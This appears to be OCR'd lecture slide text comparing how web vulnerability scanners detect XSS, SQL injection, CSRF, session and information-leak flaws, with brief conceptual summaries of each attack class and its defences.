| Calegory | 4.7.0 | | 2.0.19 | | NVD Scoppor | | |
| | | Scanner | | Scanner | | Scanner | |
| XSS | 5 | 2 | 4 | 2 | 13 | 7 | |
| SQLI | 3 | 1 | 1 | 1 | 12 | 7 | |
| XCS | 3 | 0 | 1 | 0 | 8 | 3 | |
| Session | 5 | 5 | 4 | 4 | 6 | 5 | |
| CSRF | 4 | 0 | 1 | 0 | 1 | 1 | |
| Info Leak | 4 | 3 | 1 | 1 | 5 | 4 | |

Good: Info leak, Session Decent: XSS/SQLI Poor: XCS, CSRF (low vector count?)

Vulnerability Detection

Scanners Overall detection rate



Summary

SQL Injection

Bad input checking allows malicious SQL query Known defenses address problem effectively CSRF – Cross-site request forgery Forged request leveraging ongoing session Can be prevented (if XSS problems fixed) XSS – Cross-site scripting Problem stems from echoing untrusted input Difficult to prevent; requires care, testing, tools, ... Other server vulnerabilities Increasing knowledge embedded in frameworks, tools, application development recommendations